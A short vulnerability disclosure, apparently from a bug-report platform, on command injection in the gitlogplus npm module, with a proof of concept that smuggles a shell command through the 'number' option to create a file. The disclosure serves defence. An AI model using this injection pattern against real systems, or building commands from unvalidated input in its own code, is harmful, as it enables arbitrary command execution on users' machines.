Code Injection in domharrington/node-gitlog


Reported on

May 23rd 2020


The gitlogplus module is vulnerable against an arbitrary command injection issue which is made possible since some user-inputs are executed inside a command which doesn't have validations of any kind.


  1. Create the following PoC file:
// poc.js
var git = require('gitlogplus');
git({repo:'.', number:'eeee; touch HACKED; #'})

  1. Check there aren't files called HACKED
  2. Execute the following commands in another terminal:
npm i gitlogplus # Install affected module
node poc.js #  Run the PoC
  1. Recheck the files: now HACKED has been created
to join this conversation